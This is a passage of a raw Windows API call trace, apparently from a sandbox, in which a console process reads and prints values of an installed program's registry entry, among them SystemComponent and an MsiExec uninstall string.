[0148.145] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.145] _errno () returned 0xc4bb0 [0148.145] GetFileType (hFile=0x50) returned 0x1 [0148.145] lstrlenW (lpString="REG_DWORD") returned 9 [0148.145] GetConsoleOutputCP () returned 0x1b5 [0148.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.146] GetConsoleOutputCP () returned 0x1b5 [0148.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.146] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.146] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.146] __iob_func () returned 0x7fefd702a80 [0148.146] _fileno (_File=0x7fefd702ab0) returned 1 [0148.146] _errno () returned 0xc4bb0 [0148.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.146] _errno () returned 0xc4bb0 [0148.146] GetFileType (hFile=0x50) returned 0x1 [0148.146] lstrlenW (lpString=" ") returned 4 [0148.146] GetConsoleOutputCP () returned 0x1b5 [0148.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.146] GetConsoleOutputCP () returned 0x1b5 [0148.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.146] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.146] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.146] __iob_func () returned 0x7fefd702a80 [0148.146] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.146] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x139835") returned 8 [0148.147] _fileno (_File=0x7fefd702ab0) returned 1 [0148.147] _errno () returned 0xc4bb0 [0148.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.147] _errno () returned 0xc4bb0 [0148.147] GetFileType (hFile=0x50) returned 0x1 [0148.147] lstrlenW (lpString="0x139835") returned 8 [0148.147] GetConsoleOutputCP () returned 0x1b5 [0148.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x139835", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.147] GetConsoleOutputCP () returned 0x1b5 [0148.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x139835", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x139835", lpUsedDefaultChar=0x0) returned 8 [0148.147] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.147] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.147] __iob_func () returned 0x7fefd702a80 [0148.147] _fileno (_File=0x7fefd702ab0) returned 1 [0148.147] _errno () returned 0xc4bb0 [0148.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.147] _errno () returned 0xc4bb0 [0148.147] GetFileType (hFile=0x50) returned 0x1 [0148.147] lstrlenW (lpString="\n") returned 1 [0148.147] GetConsoleOutputCP () returned 0x1b5 [0148.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.147] GetConsoleOutputCP () returned 0x1b5 [0148.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.148] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.148] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.148] GetProcessHeap () returned 0x2e0000 [0148.148] GetProcessHeap () returned 0x2e0000 [0148.148] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.148] GetProcessHeap () returned 0x2e0000 [0148.148] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.148] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.148] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.148] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.148] GetProcessHeap () returned 0x2e0000 [0148.148] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.148] GetProcessHeap () returned 0x2e0000 [0148.148] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.148] GetProcessHeap () returned 0x2e0000 [0148.148] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.148] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.148] __iob_func () returned 0x7fefd702a80 [0148.148] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.148] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.148] _fileno (_File=0x7fefd702ab0) returned 1 [0148.148] _errno () returned 0xc4bb0 [0148.148] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.148] _errno () returned 0xc4bb0 [0148.148] GetFileType (hFile=0x50) returned 0x1 [0148.148] lstrlenW (lpString=" ") returned 4 [0148.148] GetConsoleOutputCP () returned 0x1b5 [0148.148] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.148] GetConsoleOutputCP () returned 0x1b5 [0148.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.149] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.149] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.149] lstrlenW (lpString="SystemComponent") returned 15 [0148.149] __iob_func () returned 0x7fefd702a80 [0148.149] _fileno (_File=0x7fefd702ab0) returned 1 [0148.149] _errno () returned 0xc4bb0 [0148.149] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.149] _errno () returned 0xc4bb0 [0148.149] GetFileType (hFile=0x50) returned 0x1 [0148.149] lstrlenW (lpString="SystemComponent") returned 15 [0148.149] GetConsoleOutputCP () returned 0x1b5 [0148.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.149] GetConsoleOutputCP () returned 0x1b5 [0148.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0148.149] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.149] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.149] __iob_func () returned 0x7fefd702a80 [0148.149] _fileno (_File=0x7fefd702ab0) returned 1 [0148.149] _errno () returned 0xc4bb0 [0148.149] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.149] _errno () returned 0xc4bb0 [0148.149] GetFileType (hFile=0x50) returned 0x1 [0148.150] lstrlenW (lpString=" ") returned 4 [0148.150] GetConsoleOutputCP () returned 0x1b5 [0148.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.150] GetConsoleOutputCP () returned 0x1b5 [0148.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.150] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.150] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.150] __iob_func () returned 0x7fefd702a80 [0148.150] _fileno (_File=0x7fefd702ab0) returned 1 [0148.150] _errno () returned 0xc4bb0 [0148.150] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.150] _errno () returned 0xc4bb0 [0148.150] GetFileType (hFile=0x50) returned 0x1 [0148.150] lstrlenW (lpString="REG_DWORD") returned 9 [0148.150] GetConsoleOutputCP () returned 0x1b5 [0148.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.150] GetConsoleOutputCP () returned 0x1b5 [0148.150] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.150] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.150] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.151] __iob_func () returned 0x7fefd702a80 [0148.151] _fileno (_File=0x7fefd702ab0) returned 1 [0148.151] _errno () returned 0xc4bb0 [0148.151] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.151] _errno () returned 0xc4bb0 [0148.151] GetFileType (hFile=0x50) returned 0x1 [0148.151] lstrlenW (lpString=" ") returned 4 [0148.151] GetConsoleOutputCP () returned 0x1b5 [0148.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.151] GetConsoleOutputCP () returned 0x1b5 [0148.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.151] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.151] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.151] __iob_func () returned 0x7fefd702a80 [0148.151] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.151] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.151] _fileno (_File=0x7fefd702ab0) returned 1 [0148.151] _errno () returned 0xc4bb0 [0148.151] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.151] _errno () returned 0xc4bb0 [0148.151] GetFileType (hFile=0x50) returned 0x1 [0148.151] lstrlenW (lpString="0x1") returned 3 [0148.151] GetConsoleOutputCP () returned 0x1b5 [0148.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.152] GetConsoleOutputCP () returned 0x1b5 [0148.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.152] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.152] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.152] __iob_func () returned 0x7fefd702a80 [0148.152] _fileno (_File=0x7fefd702ab0) returned 1 [0148.152] _errno () returned 0xc4bb0 [0148.152] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.152] _errno () returned 0xc4bb0 [0148.152] GetFileType (hFile=0x50) returned 0x1 [0148.152] lstrlenW (lpString="\n") returned 1 [0148.152] GetConsoleOutputCP () returned 0x1b5 [0148.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.152] GetConsoleOutputCP () returned 0x1b5 [0148.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.152] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.152] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.152] GetProcessHeap () returned 0x2e0000 [0148.152] GetProcessHeap () returned 0x2e0000 [0148.152] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.152] GetProcessHeap () returned 0x2e0000 [0148.152] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.152] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.153] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.153] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.153] GetProcessHeap () returned 0x2e0000 [0148.153] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.153] GetProcessHeap () returned 0x2e0000 [0148.153] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.153] GetProcessHeap () returned 0x2e0000 [0148.153] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.153] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.153] __iob_func () returned 0x7fefd702a80 [0148.153] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.153] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.153] _fileno (_File=0x7fefd702ab0) returned 1 [0148.153] _errno () returned 0xc4bb0 [0148.153] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.153] _errno () returned 0xc4bb0 [0148.153] GetFileType (hFile=0x50) returned 0x1 [0148.153] lstrlenW (lpString=" ") returned 4 [0148.153] GetConsoleOutputCP () returned 0x1b5 [0148.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.153] GetConsoleOutputCP () returned 0x1b5 [0148.153] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.153] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.153] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.154] lstrlenW (lpString="UninstallString") returned 15 [0148.154] __iob_func () returned 0x7fefd702a80 [0148.154] _fileno (_File=0x7fefd702ab0) returned 1 [0148.154] _errno () returned 0xc4bb0 [0148.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.154] _errno () returned 0xc4bb0 [0148.154] GetFileType (hFile=0x50) returned 0x1 [0148.154] lstrlenW (lpString="UninstallString") returned 15 [0148.154] GetConsoleOutputCP () returned 0x1b5 [0148.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.154] GetConsoleOutputCP () returned 0x1b5 [0148.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0148.154] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.154] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.154] __iob_func () returned 0x7fefd702a80 [0148.154] _fileno (_File=0x7fefd702ab0) returned 1 [0148.154] _errno () returned 0xc4bb0 [0148.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.154] _errno () returned 0xc4bb0 [0148.154] GetFileType (hFile=0x50) returned 0x1 [0148.154] lstrlenW (lpString=" ") returned 4 [0148.154] GetConsoleOutputCP () returned 0x1b5 [0148.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.154] GetConsoleOutputCP () returned 0x1b5 [0148.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.155] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.155] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.155] __iob_func () returned 0x7fefd702a80 [0148.155] _fileno (_File=0x7fefd702ab0) returned 1 [0148.155] _errno () returned 0xc4bb0 [0148.155] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.155] _errno () returned 0xc4bb0 [0148.155] GetFileType (hFile=0x50) returned 0x1 [0148.155] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.155] GetConsoleOutputCP () returned 0x1b5 [0148.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.155] GetConsoleOutputCP () returned 0x1b5 [0148.155] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.155] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.155] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.155] __iob_func () returned 0x7fefd702a80 [0148.155] _fileno (_File=0x7fefd702ab0) returned 1 [0148.155] _errno () returned 0xc4bb0 [0148.155] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.155] _errno () returned 0xc4bb0 [0148.155] GetFileType (hFile=0x50) returned 0x1 [0148.155] lstrlenW (lpString=" ") returned 4 [0148.155] GetConsoleOutputCP () returned 0x1b5 [0148.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.156] GetConsoleOutputCP () returned 0x1b5 [0148.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.156] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.156] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.156] __iob_func () returned 0x7fefd702a80 [0148.156] _fileno (_File=0x7fefd702ab0) returned 1 [0148.156] _errno () returned 0xc4bb0 [0148.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.156] _errno () returned 0xc4bb0 [0148.156] GetFileType (hFile=0x50) returned 0x1 [0148.156] lstrlenW (lpString="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}") returned 52 [0148.156] GetConsoleOutputCP () returned 0x1b5 [0148.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.156] GetConsoleOutputCP () returned 0x1b5 [0148.156] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", lpUsedDefaultChar=0x0) returned 52 [0148.156] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.156] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.156] __iob_func () returned 0x7fefd702a80 [0148.156] _fileno (_File=0x7fefd702ab0) returned 1 [0148.156] _errno () returned 0xc4bb0 [0148.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.156] _errno () returned 0xc4bb0 [0148.157] GetFileType (hFile=0x50) returned 0x1 [0148.157] lstrlenW (lpString="\n") returned 1 [0148.157] GetConsoleOutputCP () returned 0x1b5 [0148.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.157] GetConsoleOutputCP () returned 0x1b5 [0148.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.157] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.157] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.157] GetProcessHeap () returned 0x2e0000 [0148.157] GetProcessHeap () returned 0x2e0000 [0148.157] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.157] GetProcessHeap () returned 0x2e0000 [0148.157] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.157] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.157] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.157] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5e) returned 0x0 [0148.157] GetProcessHeap () returned 0x2e0000 [0148.157] RtlAllocateHeap 